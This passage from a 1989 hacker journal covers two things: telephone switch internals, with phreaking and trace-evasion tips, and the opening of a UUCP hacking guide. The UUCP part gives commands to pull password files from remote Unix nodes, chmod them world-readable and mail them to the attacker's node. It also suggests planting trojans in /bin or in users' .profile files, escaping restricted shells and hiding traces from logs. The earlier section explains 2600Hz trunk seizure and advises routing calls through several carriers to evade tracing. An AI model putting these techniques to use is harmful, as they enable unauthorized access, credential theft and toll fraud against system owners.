electronics with integrated circuits.  Both switches operate similarly.
The primary differences were speed and capacity.  The #1ESS could process
110,000 calls per hour and serve 128,000 lines.

    Most of the major common control elements are either fully or partially
duplicated to ensure reliability. Systems run simultaneously and are checked
against each other for errors. When a problem occurs the system will double
check, reroute, or switch over to auxiliary to continue system operation.
Alarms are also reported to the maintenance console and are in turn printed
out on a printer near the control console.

    Operation of the switch is done through the Master Control Center (MCC)
panel and/or a terminal. Remote operation is also done through input/output
channels. These channels have different functions and therefore receive
different types of output messages and have different abilities as for what
type of commands they are allowed to issue. Here is a list of the commonly
used TTY channels.

   Maintenance     - Primary channel for testing, enable, disable etc.
   Recent Change   - Changes in class of service, calling features etc.
   Administrative  - Traffic information and control
   Supplementary   - Traffic information supplied to automatic network control
   SCC Maint.      - Switching Control Center interface
   Plant Serv.Cent.- Reports testing information to test facilities

    At the end of this article you will find a list of the most frequently
seen Maintenance channel output messages and a brief description of their
meaning. You will also find a list of frequently used input messages.

    There are other channels as well as back ups but the only ones to be
concerned with are Recent Change and SCC maint. These are the two channels
you will most likely want to get access to. The Maintenance channel doesn't
leave the C.O. and is used by switch engineers as the primary way of
controlling the switch. During off hours and weekends the control of the
switch is transferred to the SCC.

    The SCC is a centrally located bureau that has up to 16 switches
reporting to it via their SCC maint. channel. The SCC has a mini computer
running SCCS that watches the output of all these switches for trouble
conditions that require immediate attention. The SCC personnel then have the
ability to input messages to that particular switch to try and correct the
problem. If necessary, someone will be dispatched to the C.O. to correct the
problem. I should also mention that the SCC mini, SCCS has dialups and access
to SCCS means access to all the switches connected to it. The level of access
however, may be dependent upon the privileges of the account you are using.

    The Recent Change channels also connect to a centrally located bureau
referred to as the RCMAC. These bureaus are responsible for activating lines,
changing class of service etc. RCMAC has been automated to a large degree by
computer systems that log into COSMOS and look for pending orders. COSMOS is
basically an order placement and record keeping system for central office
equipment, but you should know that already, right? So this system, called
Work Manager running MIZAR logs into COSMOS, pulls orders requiring recent
change work, then in one batch several times a day, transmits the orders to
the appropriate switch via it's Recent Change Channel.

    Testing of the switch is done by many different methods. Bell Labs has
developed a number of systems, many accomplishing the same functions. I will
only attempt to cover the ones I know fairly well.

    The primary testing system is the trunk test panels located at the switch
itself. There are three and they all pretty much do the same thing, which is
to test trunk and line paths through the switch.

         Trunk and Line Test Panel
         Supplementary Trunk Test Panel
         Manual Trunk Test Panel

     MLT (Mechanized Loop Testing) is another popular one. This system is
often available through the LMOS data base and can give very specific
measurements of line levels and losses. The "TV Mask" is also popular giving
the user the ability to monitor lines via a call back number.

    DAMT (Direct Access Mechanized Testing) is used by line repairmen to put
tone on numbers to help them find lines. This was previously done by Frame
personnel, so DAMT automated that task. DAMT can also monitor lines, but
unfortunately, the audio is scrambled in a manor that allows one only to tell
what type of signal is present on the line, or whether it is busy or not.

    All of these testing systems have one thing in common: they access the
line through a "No Test Trunk". This is a switch which can drop in on a
specific path or line and connect it to the testing device. It depends on
the device connected to the trunk, but there is usually a noticeable "click"
heard on the tested line when the No Test Trunk drops in. Also the testing
devices I have mentioned here will seize the line, busying it out. This will
present problems when trying to monitor calls, as you would need to drop in
during the call. The No Test Trunk is also the method in which operator
consoles perform verifications and interrupts.


    ** INTEROFFICE SIGNALLING **

    Calls coming into and leaving the switch are routed via trunks. The
switches select which trunk will route the call most effectively and then
retransmits the dialed number to the distant switch. There are several
different ways this is done. The two most common are Loop Signaling and CCIS,
Common Channel Interoffice Signaling. The predecessor to both of these is the
famous and almost extinct "SF Signaling". This utilized the presence of
2600hz to indicate trunks in use. If one winks 2600Hz down one of these
trunks, the distant switch would think you hung up. Remove the 2600, and you
have control of the trunk and you could then MF a number. This worked great
for years. Assuming you had dialed a toll free number to begin with, there
was no billing generated at all. The 1AESS does have a program called SIGI
that looks for any 2600 winks after the original connection of a toll call.
It then proceeds to record on AMA and output any MF digits received. For more
information on AMA see Phantom Phreaker's article entitled, Understanding
Automatic Message Accounting in the LOD/H TJ Issue #3. However due to many
long distant carriers using signaling that can generate these messages it is
often overlooked and "SIG IRR" output messages are quite common.

    Loop signaling still uses MF to transmit the called number to distant
switches, however, the polarity of the voltage on the trunk is reversed to
indicate trunk use.

    CCIS sometimes referred to CCS#6 uses a separate data link sending
packets of data containing information regarding outgoing calls. The distant
switch monitors the information and connects the correct trunk to the correct
path. This is a faster and more efficient way of call processing and is being
implemented everywhere. The protocol that AT&T uses is CCS7 and is currently
being accepted as the industry standard. CCS6 and CCS7 are somewhat similar.

    Interoffice trunks are multiplexed together onto one pair. The standard
is 24 channels per pair. This is called T-1 in it's analog format and D-1
in its digital format. This is often referred to as carrier or CXR. The terms
frame error and phase jitter are part of this technology which is often a
world in itself. This type of transmission is effective for only a few miles
on twisted pair. It is often common to see interoffice repeaters in manholes
or special huts. Repeaters can also be found within C.O.s, amplifying trunks
between offices. This equipment is usually handled by the "carrier" room,
often located on another floor. Carrier also handles special circuits, private
lines, and foreign exchange circuits.

     After a call reaches a Toll Switch, the transmit and receive paths of
the calling and called party are separated and transmitted on separate
channels. This allows better transmission results and allows more calls to
be placed on any given trunk. This is referred to as 4 wire switching. This
also explains why during a call, one person can hear crosstalk and the other
cannot. Crosstalk will bleed over from other channels onto the multiplexed
T-Carrier transmission lines used between switches.


    ** CALL TRACING

     So with the Loop Signaling standard format there is no information being
transmitted regarding the calling number between switches. This therefore
causes the call tracing routine to be at least a two step process. This is
assuming that you are trying to trace an anticipated call, not one in
progress. When call trace "CLID" is placed on a number, a message is output
every time someone calls that number. The message shows up on most of the ESS
output channels and gives information regarding the time and the number of the
incoming trunk group. If the call came from within that office, then the
calling number is printed in the message. Once the trunk group is known, it
can usually be determined what C.O. the calls are coming from. This is also
assuming that the calls are coming from within that Bell company and not
through a long distance carrier (IEC). So if Bell knows what C.O. the calls
are coming from, they simply put the called number on the C.I. list of that
C.O. Anytime anyone in that C.O. calls the number in question another message
is generated showing all the pertinent information.

    Now if this were a real time trace it would only require the assistance
of the SCC and a few commands sent to the appropriate switches (i.e.
NET-LINE). This would give them the path and trunk group numbers of the call
in progress. Naturally the more things the call is going through, the more
people that will need to be involved in the trace. There seems to be a common
misconception about the ability to trace a call through some of the larger
packet networks i.e. Telenet and TYMNET. Well I can assure you, they can
track a call through their network in seconds (assuming multiple systems
and/or network gateways are not used) and then all that is needed is the
cooperation of the Bell companies. Call tracing in itself it not that
difficult these days. What is difficult is getting the different organizations
together to cooperate. You have to be doing something relatively serious to
warrant tracing in most cases, however, not always. So if tracing is a
concern, I would recommend using as many different companies at one time as
you think is necessary, especially US Sprint, since they can't even bill
people on time much less trace a call. But...it is not recommended to call
Sprint direct, more on that in the Equal Access section.


    ** EQUAL ACCESS

    The first thing you need to understand is that every IEC Inter Exchange
Carrier (long distance company) needs to have an agreement with every LEC
Local Exchange Carrier (your local phone company) that they want to have
access to and from. They have to pay the LEC for the type of service they
receive and the amount of trunks, and trunk use. The cost is high and the
market is a zoo. The LECs have the following options:

     - Feature Group A -

    This was the first access form offered to the IECs by the LECs. Basically
whenever you access an IEC by dialing a regular 7 digit number (POTS line)
this is FGA. The IECs' equipment would answer the line and interpret your
digits and route your call over their own network. Then they would pick up an
outgoing telephone line in the city you were calling and dial your number
locally. Basically a dial in, dial out situation similar to Telenet's
PC pursuit service.

     - Feature Group B -

     FGB is 950-xxxx. This is a very different setup from FGA. When you dial
950, your local switch routes the call to the closest Access Tandem (AT) (Toll
Switch) in your area. There the IECs have direct trunks connected between the
AT and their equipment. These trunks usually use a form of multiplexing like
T-1 carrier with wink start (2600Hz). On the incoming side, calls coming in
from the IEC are basically connected the same way. The IEC MFs into the AT
and the AT then connects the calls. There are many different ways FGB is
technically setup, but this is the most common.

     Tracing on 950 calls has been an area of controversy and I would like to
clear it up. The answer is yes, it is possible. But like I mentioned earlier,
it would take considerable manpower which equals expensive to do this. It
also really depends on how the IEC interface is set up. Many IECs have
trunks going directly to Class 5 end offices. So, if you are using a small
IEC, and they figure out what C.O. you are calling from, it wouldn't be out
of the question to put CLID on the 950 number. This is highly unlikely and I
have not heard from reliable sources of it ever being done. Remember, CLID
generates a message every time a call is placed to that number. Excessive
call trace messages can crash a switch. However, I should mention that brute
force hacking of 950s is easily detected and relatively easy to trace. If the
IEC is really having a problem in a particular area they will pursue it.

     - Feature Group C -

     FGC is reserved for and used exclusively by AT&T.

     - Feature Group D -
     FGD is similar to FGB with the exception that ANI is MF'ed to the IEC.
The end office switch must have Equal Access capability in order to transmit
the ANI. Anything above a X-bar can have it. FGD can only be implemented on
800 numbers and if an IEC wants it, they have to buy the whole prefix. For a
list of FGD prefixes see 2600 Magazine. You should also be aware that MCI,
Sprint, and AT&T are offering a service where they will transmit the ANI to
the customer as well. You will find this being used as a security or
marketing tool by an increasing amount of companies. A good example would be
800-999-CHAT.


** OUTPUT MESSAGES **

The following is a compiled list of common switch messages. The list was
compiled from various reference materials that I have at my disposal.


                     1AESS COMMON OUTPUT MESSAGES
                --------------------------------------

MSG.  DESCRIPTION
----------------------------------------------------------------
    ** ALARM **

AR01  Office alarm
AR02  Alarm retired or transferred
AR03  Fuse blown
AR04  Unknown alarm scan point activated
AR05  Commercial power failure
AR06  Switchroom alarm via alarm grid
AR07  Power plant alarm
AR08  Alarm circuit battery loss
AR09  AMA bus fuse blown
AR10  Alarm configuration has been changed (retired,inhibited)
AR11  Power converter trouble
AR13  Carrier group alarm
AR15  Hourly report on building and power alarms

      ** AUTOMATIC TRUNK TEST **
AT01  Results of trunk test

      ** CARRIER GROUP **
CG01  Carrier group in alarm
CG03  Reason for above

      ** COIN PHONE **
CN02  List of pay phones with coin disposal problems
CN03  Possible Trouble
CN04  Phone taken out of restored service because of possible coin fraud

      ** COPY **
COPY  Data copied from one address to another

      ** CALL TRACE **
CT01  Manually requested trace line to line, information follows
CT02  Manually requested trace line to trunk, information follows
CT03  Intraoffice call placed to a number with CLID
CT04  Interoffice call placed to a number with CLID
CT05  Call placed to number on the CI list
CT06  Contents of the CI list
CT07  ACD related trace
CT08  ACD related trace
CT09  ACD related trace

      ** DIGITAL CARRIER TRUNK **
DCT COUNTS Count of T carrier errors

      ** MEMORY DIAGNOSTICS **
DGN   Memory failure in cs/ps diagnostic program

      ** DIGITAL CARRIER "FRAME" ERRORS **
FM01  DCT alarm activated or retired
FM02  Possible failure of entire bank not just frame
FM03  Error rate of specified digroup
FM04  Digroup out of frame more than indicated
FM05  Operation or release of the loop terminal relay
FM06  Result of digroup circuit diagnostics
FM07  Carrier group alarm status of specific group
FM08  Carrier group alarm count for digroup
FM09  Hourly report of carrier group alarms
FM10  Public switched digital capacity failure
FM11  PUC counts of carrier group errors

      ** MAINTENANCE **
MA02  Status requested, print out of MACII scratch pad
MA03  Hourly report of system circuits and units in trouble
MA04  Reports condition of system
MA05  Maintenance interrupt count for last hour
MA06  Scanners,network and signal distributors in trouble
MA07  Successful switch of duplicated unit (program store etc.)
MA08  Excessive error rate of named unit
MA09  Power should not be removed from named unit
MA10  OK to remove paper
MA11  Power manually removed from unit
MA12  Power restored to unit
MA13  Indicates central control active
MA15  Hourly report of # of times interrupt recovery program acted
MA17  Centrex data link power removed
MA21  Reports action taken on MAC-REX command
MA23  4 minute report, emergency action phase triggers are inhibited

      ** MEMORY **
MN02  List of circuits in trouble in memory

      ** NETWORK TROUBLE **
NT01  Network frame unable to switch off line after fault detection
NT02  Network path trouble Trunk to Line
NT03  Network path trouble Line to Line
NT04  Network path trouble Trunk to Trunk
NT06  Hourly report of network frames made busy
NT10  Network path failed to restore

      ** OPERATING SYSTEM STATUS **
OP:APS-0
OP:APSTATUS
OP:CHAN
OP:CISRC     Source of critical alarm, automatic every 15 minutes
OP:CSSTATUS  Call store status
OP:DUSTATUS  Data unit status
OP:ERAPDATA  Error analysis database output
OP:INHINT    Hourly report of inhibited devices
OP:LIBSTAT   List of active library programs
OP:OOSUNITS  Units out of service
OP:PSSTATUS  Program store status

      ** PLANT MEASUREMENTS **
PM01  Daily report
PM02  Monthly report
PM03  Response to a request for a specific section of report
PM04  Daily summary of IC/IEC irregularities

      ** REPORT **
REPT:ADS FUNCTION  Reports that a ADS function is about to occur
REPT:ADS FUNCTION DUPLEX FAILED No ADS assigned
REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
REPT:ADS FUNCTION STATE CHANGE Change in state of ADS
REPT:ADS PROCEDURAL ERROR You fucked up
REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
REPT:PROG CONT OFF-NORMAL System programs that are off or on
REPT:RC CENSUS Hourly report on recent changes
REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)

      ** RECENT CHANGE **
RC18  RC message response

      ** REMOVE **
RMV   Removed from service

      ** RESTORE **
RST   Restored to service status

      ** RINGING AND TONE PLANT **
RT04  Status of monitors

      ** SOFTWARE AUDIT **
SA01  Call store memory audit results
SA03  Call store memory audit results

      ** SIGNAL IRREGULARITY **
SIG IRR  Blue box detection
SIG IRR INHIBITED  Detector off
SIG IRR TRAF  Half hour report of traffic data

      ** TRAFFIC CONDITION **
TC15  Reports overall traffic condition
TL02  Reason test position test was denied
TL03  Same as above

      ** TRUNK NETWORK **
TN01  Trunk diagnostic found trouble
TN02  Dial tone delay alarm failure
TN04  Trunk diag request from test panel
TN05  Trunk test procedural report or denials
TN06  Trunk state change
TN07  Response to a trunk type and status request
TN08  Failed incoming or outgoing call
TN09  Network relay failures
TN10  Response to TRK-LIST input, usually a request from test position
TN11  Hourly, status of trunk undergoing tests
TN16  Daily summary of precut trunk groups

      ** TRAFFIC OVERLOAD CONDITION **
TOC01 Serious traffic condition
TOC02 Reports status of less serious overload conditions

      ** TRANSLATION **  (shows class of service, calling features etc.)
TR01  Translation information, response to VFY-DN
TR03  Translation information, response to VFY-LEN
TR75  Translation information, response to VF:DNSVY
      **             **
TW02  Dump of octal contents of memory



                    1AESS COMMON INPUT MESSAGES
               -------------------------------------

 Messages always terminate with ". ctrl d "      x=number or trunk network #


MSG.                   DESCRIPTION
------------------------------------------------------------------------
NET-LINE-xxxxxxx0000   Trace of path through switch
NET-TNN-xxxxxx         Same as above for trunk trace
T-DN-MBxxxxxxx         Makes a # busy
TR-DEACTT-26xxxxxxx    Deactivates call forwarding
VFY-DNxxxxxxx          Displays class of service, calling features etc.
VFY-LENxxxxxxxx        Same as above for OE
VFY-LIST-09 xxxxxxx    Displays speed calling 8 list


************************************************************************

    There are many things I didn't cover in this article and many of the
things I covered, I did so very briefly. My intention was to write an article
that explains the big picture, how everything fits together. I hope I helped.

    Special thanks to all the stupid people, for without them some of us
wouldn't be so smart and might have to work for a living. Also all the usual
Bell Labs, AT&T bla bla bla etc. etc.

    I can usually be reached on any respectable board, ha!


             Agent Steal  Inner (C)ircle  1989

                                  !!!!!

                      !!!!! FREE KEVIN MITNICK !!!!!

                                  !!!!!

                            [End Of Article]

The LOD/H Technical Journal, Issue #4: File 05 of 10


             =====================================================
             ||                                                 ||
             ||            A Hacker's Guide to UUCP             ||
             ||                                                 ||
             ||                        by                       ||
             ||                                                 ||
             ||                    The Mentor                   ||
             ||                                                 ||
             ||              Legion of Doom/Hackers             ||
             ||                                                 ||
             ||                     08/04/89                    ||
             ||                                                 ||
             DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

Scope
DDDDD

   Part I of this file is intended for the casual hacker- someone
familiar with UNIX commands, but who hasn't had extended experience
with the UUCP network.  Part II will be intended for the advanced
hacker who has the confidence and knowledge to go out and modify
a UNIX network- the logs, the paths, the permissions, etc...


Introduction
DDDDDDDDDDDD

   Like it or not, UNIX is the most popular operating system in the
world.  As a hacker, you are likely to run into several hundred
UNIX machines over the course of your hacking career.  Knowing how
to move around and use the UNIX environment should be considered
absolutely essential, especially since UNIX is the operating system
of choice among phone company computers.

   This article is not an attempt to teach you how to use UNIX.
If you don't know what a '$ls -x > dir' does, you need to put this
article in your archives, get a good basic file on UNIX (or buy a
book on it- there are several good ones out ((see the Bibliography
at the end of this file for suggestions))), read it, and then play
around some in a UNIX machine.  Please!  If you have managed to
stumble into a Bell system, do *not* use it as a machine to learn
UNIX on!  You *will* get noticed by security, and this will lead
not only to the security being tightened, but may well lead to Bell
Security going through your underwear drawer.

   The information in this article is mainly concerning AT&T System
V UNIX.  I have included BSD 4.3 & Xenix information also in cases
that I was able to determine alternate procedures.  All information
has been thoroughly tested and researched on as many machines as
possible.  Standard disclaimer, your system may be slightly
different.

Glossary & Usage
DDDDDDDDDDDDDDDD

BNU     - Basic Networking Utilities.  System V.3's uucp package.
daemon  - A program running in the background.
LAN     - Local Area Network.
network - A group of machines set up to exchange information and/or
          resources.
node    - A terminating machine on a network.
UUCP    - When capitalized, refers to the UNIX networking utilities
          package.
uucp    - In lower case, refers to the program Unix-to-Unix-CoPy.

I. General Information
   DDDDDDDDDDDDDDDDDDD

   A. What is UUCP?

   UUCP is a networking facility for the UNIX operating system.
It is made up of a number of different programs that allow UNIX
machines to talk to each other.  Using UUCP, you can access a
remote machine to copy files, execute commands, use resources, or
send mail.  You can dial out to other non-UNIX computers, and you
can access public mail/news networks such as USENET.

   B. History of UUCP

   The first UUCP system was built in 1976 by Mike Lest at AT&T
Bell Labs.  This system became so popular that a second version was
developed by Lesk, David Nowitz, and Greg Chesson.  Version 2 UUCP
was distributed with UNIX Version 7.

   With System V Release 3, a new version of UUCP that was
developed in 1983 by Peter Honeyman, David A. Nowitz, and Brian E.
Redman.  This version is known as either HoneyDanBer UUCP (from the
last names of the developers), or more conventionally as Basic
Networking Utilities (BNU).  I will stick with BNU, as it is easier
to type.  BNU is backward compatible with Version 2, so there is
no problem communicating between the two.

   BSD 4.3's UUCP release incorporates some of the BNU features,
but retains more similarity to Version 2 UUCP.

   If you are unsure about which version of UUCP is on the system
that you are in, do a directory of /usr/lib/uucp and look at the
files.  If you have a file called L.sys, you are in a Version 2
system.  If there is a file called Systems, then it's BNU.  See
Table 1 for a fairly complete listing of what system runs what UUCP
version.


                                Table 1*
                                DDDDDDD
Manufacturer              Model            UNIX/UUCP Version

_____________________________________________________________
|                |                        |                  |
| Apollo         |   3000 Series (Domain) | BSD 4.2/Version 2|
| Altos          |   All models           | Xenix/Version 2  |
| AT&T           |   3B1 (UNIX PC)        | System V.2/Vers.2|
| AT&T           |   3B2                  | System V.3/BNU   |
| AT&T           |   3B15                 | System V.3/BNU   |
| Convergent     |   Miniframe (CTIX)     | System V.2/Vers.2|
| Technologies   |   Mightframe (CTIX)    | System V.3/BNU   |
| DEC            |   MicroVAX             | Ultrix/Vers. 2 + |
| DEC            |   VAX                  | BSD 4.3/Vers. 2 +|
| Encore         |   Multimax             | System V.3/BNU   |
| IBM            |   PC-RT (AIX)          | System V.2/Vers.2|
| Masscomp       |   MC-5000 Series       | System V.3/BNU   |
| Microport      |   PC/AT                | System V.2/Vers.2|
| NCR            |   Tower 32/16          | System V.2/Vers.2|
| Prime          |   EXL Series           | System V.2/Vers.2|
| Pyramid        |   90x                  | BSD 4.2/Version 2|
| SCO/Xenix      |   PC/XT                | System V.2/Vers.2|
| Unisys         |   5000 & 7000 Series   | System V.2/Vers.2|
|                |                        |                  |
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
*  This table is slightly outdated.  Some of the systems may have
   upgraded since this article was written.


II. UUCP Communications
    DDDDDDDDDDDDDDDDDDD

    A. Overview of UUCP User Programs

    There are a number of programs that are used by a UUCP
communication network.  Some are standard UNIX programs, others are
exclusively part of the UUCP package.
.................................................................

        These three are standard UNIX commands:

        mail-   UNIX's mail facility can be used to send messages
                to other systems on a UUCP network.
        cu-     Connects you to a remote machine and allows you to
                be logged in simultaneously to both machines.  Also
                allows you execute commands on either machine
                without dropping the link.
        tip-    (BSD) same as cu.

                               +++

        There are five main programs within UUCP:

        uucp-   Does all the setup for a remote file transfer.
                uucp creates files that describe the file transfer
                (called 'work' files), then calls the uucico daemon
                to do the actual work.
        uux-    Used to execute commands on a remote machine.  uux
                performs similar to uucp, except that commands are
                processed instead of files.
        uuname- Used to list the names of other systems that are
                connected to your network.
        uulog-  Displays the uucp log for the specified machine.
                I'll be showing how to cover your uucp tracks from
                this later in the article.
        uustat- Gets the status of uux requests.  Also lets you
                manipulate the contents of a UUCP queue.

                                   +++

        System V also has two additional programs:

        uuto-   Allows you to send files to another user similar
                to the UNIX mail command.
        uupick- Allows you to read files sent to you with uuto.

                                   +++

        BSD 4.3 has two additional programs:

        uuq-    Lets you view & manipulate UUCP jobs that are
                waiting to be processed, similar to System V's
                uupick program.
        uusend- Lets you forward files through a string of systems.
 ..................................................................

III. Using the Programs
     DDDDDDDDDDDDDDDDDD

     A. uuname

     This one is easy & friendly.  All you do is type '$uuname'.
It will spit out a list of all systems on your network.  If you
aren't sure about the name of your local system, invoke uuname with
the -l option. ($uuname -l).

     B. mail

     I'm not going to say to much about mail, as it isn't a program
that you will use much as a hacker except possibly to break out of
a shell.  Sending mail to other people is not a good way to stay
hidden, as all mail transfer to remote systems is logged (no, they
may not read the mail, but they're likely to notice that the
unassigned ADMIN account is suddenly getting mail from all over the
world...)  These logs can be modified, however.  This will
be covered in Part II.

     Briefly, mail is invoked with the command 'mail username' (or
mailx under some systems).  If you wish to send mail to user john
on the system you're on, you would type:

mail john
Dear John-
     This is mail.  Enjoy it.
^D   (usage note, this means control-D)

     To send mail to a user on a remote system, or a string of
systems, you would use the ! key to indicate a remote system name.
If you were on node Alpha and wanted to send mail to john on node
Beta, you would address your mail to 'mail Beta!john'.  If you
wanted to send mail to a user on system that's not connected to
yours, but *is* connected to a machine you are connected to, you
would string together the system names, separated by a !. For
example, if node Saturn was connected to Beta, but not to Alpha,
you could send mail to susan on Saturn with 'mail Beta!Saturn!susan'.

     Please note- If you are running the C-Shell or Bourne Shell,
you will have to prefix the ! with a X.  i.e. 'mail BetaX!SaturnX!susan'.
Also, the mail header displays the system name, return path, and account
name that you send mail from, so don't try to anonymously mail someone
a message- it won't work.

     Another quick feature (this is under the 'basic unix
knowledge' category), if you want to mail a file named 'message'
to someone, you'd type the following - '$mail Beta!Saturn!susan <
message'.

     Finally, as mentioned above, it may be possible to break out
of a restricted shell within mail.  Simply send mail to yourself,
then when you enter mail to read the message, type !sh to exit from
mail into shell. This will often blow off the restricted shell.


     C. File Transfer

     One of the first things that you will want to do when you
discover that you're on a network (uuname, remember?) is to grab
a copy of the /etc/password file from the systems on the net then
run Shooting Shark's password hacking program from TJ Issue #2.
Even if you have no use for it now, save it & label it, you never
know when you might need to get into that system. Besides, when
printed, they make fun & interesting wallpaper.

     Unfortunately, the /etc/ directory will sometimes have access
restricted.  You can get around this by copying the /etc/password
file to the /usr/spool/uucppublic directory using the uux command
(see below).  If the uux program has restrictions on in, then you
may have to actually hack into the remote system using the rlogin
command.  Be persistent.

     UUCP is also useful in that it allows you to send a file from
your system to a remote system.  Got a nice little trojan you need
to insert on their system?  Use UUCP to drop it into the /bin/
directory.  Or if they protected the /bin/ directory (likely, if
they have half a brain), they might have forgotten to protect all
of the users private directories (i.e. /usr/mike or /usr/susan or
sometimes even /usr/admin).  UUCP a copy of a .profile file to your
system, insert your own stuff in it, then UUCP it back to its
original directory where the user will access it the next time he
logs in.  People rarely $cat their .profile file, so you can
usually get away with murder in them.

     While uucp has some limitations, it has the advantage of being
present on every UUCP system in the world.  If you're on a System
V, you will probably use uuto & uupick much more frequently, as
it's easier to do subtle hacks with them.  But if uucp is all you
have, remember, you're a hacker.  Show some ingenuity.  The syntax
of uucp when sending a file is:

$uucp [options] <local source> <remote destination>

     For example, you have a program sitting in your working
directory on node Alpha called 'stuff', and you want to plop it
into the /usr/spool/uucppublic/mike/ directory of node Beta.  The
command would be '$uucp stuff Beta!/usr/spool/uucppublic/mike/'.
(Don't forget to add a slash in front of the exclamation point if
you're in C-Shell or Bourne!)  A good thing to know that will save
you some typing is that the /usr/spool/uucppublic/ directory can
be abbreviated as D/ (in KSH only), so that the above command could look
like '$uucp stuff Beta!D/mike/'.  You can also specify a path other than
D/.  If you wish to drop your 'new & improved' version of the
/etc/password file into the /etc/ directory, you could do a '$uucp
password Beta!/etc/'.  Just don't be surprised if it gets bounced
with a message similar to the following:

                From uucp Sat Dec 24 23:13:15 1988
                Received: by Beta.UUCP (2.15/3.3)
                id AA25032; Sat Dec 24 23:13:15 edt
                Date: Sat Dec 24 23:13:15 edt
                From: uucp
                Apparently to: hacker
                Status: R

                file /etc/password, system Beta
                remote access to path/file denied

     Another hacker-friendly feature of UUCP is the ability to copy
something into a remote user's login directory by entering a D
character before the username.  For example, to dump a modified
.profile file into a user on Beta named alex, you would do the
following:


        '$uucp .profile Beta!Dalex'

The syntax for uucp when receiving a remote file is:

$uucp [options] <remote path> <local directory>

For example, you wish to grab Beta's password file and put it in
a subdirectory called tmp in the account 'hacker' on node Alpha.
The command would be:

'$uucp Beta!/etc/password Alpha!/usr/hacker/tmp/'.

The same things concerning use of tildes (D) demonstrated in
sending files applies when receiving them. The following table
contains valid options to the uucp command.


                                    Table 2
                                    DDDDDDD
               _________________________________________________
               |                                               |
               |  -C Copy the local source file to the spool   |
               |     directory before attempting the trans-    |
               |     fer.                                      |
               |                                               |
               |  -f If the directory doesn't exist, abort the |
               |     transfer.  Normally uucp will create any  |
               |     non-existent directories, which is bad    |
               |     technique if you're a good hacker...      |
               |                                               |
               |  -j Display the UUCP job request number. This |
               |     is useful if you're going to use uustat   |
               |     to manipulate & reroute UUCP requests in  |
               |     the queue.                                |
               |                                               |
               |  -m Notify sender by mail when copy is done.  |
               |     Potentially hazardous, as incoming mail   |
               |     is logged.  Later on I'll show how to     |
               |     modify that log...                        |
               |                                               |
               |  -n<username> Notify the user specified on    |
               |     the remote system when the xfer is done.  |
               |     I assume everyone sees how foolish this   |
               |     would be, right?                          |
               |                                               |
               |  -r Queue the job, but do not contact remote  |
               |     system immediately.  Can't see any pros   |
               |     or cons in using this one...              |
               |                                               |
               |  -s<filename> Pipe the UUCP status messages   |
               |     to filename. Useful if you wish to log    |
               |     off & then check the progress later.      |
               |                                               |
               DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

     D. Executing Remote Commands

     The uux program allows users to execute a program on another
system on the network.  While in theory this is the most useful
command a hacker can use, in practice it is usually heavily
restricted- any system administrator with half a brain realizes
that letting people execute any command they like from across the
country is not the way to maintain system integrity.

     There are, however, some useful things that can be done with
uux even if the sysadmin has protected the things that *he* thinks
are dangerous (remember, he's not a hacker, you are.  You are
smarter, more persistent, and much cleverer than he is.  He doesn't
like coming to work every day, can't wait to leave, and will do the
minimum possible to get by.  You're different. You're dedicated &
tricky.  You *like* what you're doing.  If you don't, get the hell
out & let others who do take over.  End of the pep talk.)

     The format for the uux command is:

$uux [options] command-string.

See Table 3 below for a list of options.

     Ok, ideal case.  The System manager of Beta is an idiot who
has left all possible commands open, and the uucico daemon has root
privs.  Let's say you want to alter the protection of the password
file, copy it into the D/ (public, remember?) directory, then copy
it over to your system.  The sequence of commands would be:

$uux Beta!chmod 777 /etc/password
$uux Beta!cp /etc/password /usr/spool/uucppublic/info.txt
$uucp Beta!D/info.txt /usr/hacker/

     The first line would modify the protection where anyone could
get to it, the second line would copy it into the D/ directory, and
the third line would send it along to you.

     Unfortunately, most commands are disabled (useful ones like
chmod and cat and ls, at least.)  But sometimes you can get around
that.  For instance, often you might not be able to ls or cp the
password file.  But very rarely will mail be disabled.  So if you
wanted a copy of the password file, you have them mail you one:

$uux Beta!mail Alpha!hacker < /etc/password

     Later in the UUCP Administration section, I'll explain how to
modify the remote system so any command you want is executable.

     When you execute a remote command, UUCP will automatically
send you mail telling you how it went.  It's a good idea to check
the logs and see if there's anything you need to remove to cover
your presence (this subject will be covered in Part II).

     If you are executing a command that is going to need data from
a file, you specify that the file is on your local system by
prefacing it with a X!.  I can't think of many reasons to use this,
but perhaps you can.  As an example, let's say you wanted to print
a file in your directory called 'stuff' out on a remote laser
printer (bad hacking practice, and difficult to retrieve.) Do this:

$uux Beta!lp -dlaser X!stuff

     If the command you want to execute (whodo in this example) is
forbidden, you will get a notification message similar to the
following:

>From uucp Sat Dec 24 23:12:15 EDT 1988
>From uucp Sat Dec 24 23:12:13 EDT 1988 remote from Beta
Status: R0
uuxqt cmd (whodo) status (DENIED)

     If you are going to need the standard output for a command,
pipe it into D/.  And any files or processes created by uux will
belong to the user uucp, not to you.

                                   Table 3
                                   DDDDDDD
        __________________________________________________________
        |                                                        |
        |   -a<username>  Notify user username when completed.   |
        |                                                        |
        |   -b  Print the Standard Input when the exit status    |
        |       indicates an error.                              |
        |                                                        |
        |   -c  Do not copy files to the spool directory (I      |
        |       recommend this one...too big a chance of someone |
        |       glancing in the spool dir.                       |
        |                                                        |
        |   -g<char or num> Sets the priority of the transfer.   |
        |       The lower alphabetically or numerically that     |
        |       the char or num is, the faster the process will  |
        |       be executed.  i.e.  -ga or -g2 will go faster    |
        |       than -gr or -g8.                                 |
        |                                                        |
        |   -j  Print the UUCP job number.  Useful if you're     |
        |       going to be playing with the queue.              |
        |                                                        |
        |   -I  (BSD Only) Make a link from the original file to |
        |       the spool dir.  I'm not sure what this is for.   |
        |                                                        |
        |   -L  (BSD Only) Start up the uucico daemon.           |
        |                                                        |
        |   -n  Don't notify by mail.  Recommended if you don't  |
        |       have the authority or knowledge to modify the    |
        |       system mail logs.                                |
        |                                                        |
        |   -p  Use Standard Input                               |
        |                                                        |
        |   -r  Queue the job but don't start uucico.            |
        |                                                        |
        |   -s<filename> Send transfer status to file filename.  |
        |                                                        |
        |   -x<0..9> Set level of debugging information.         |
        |                                                        |
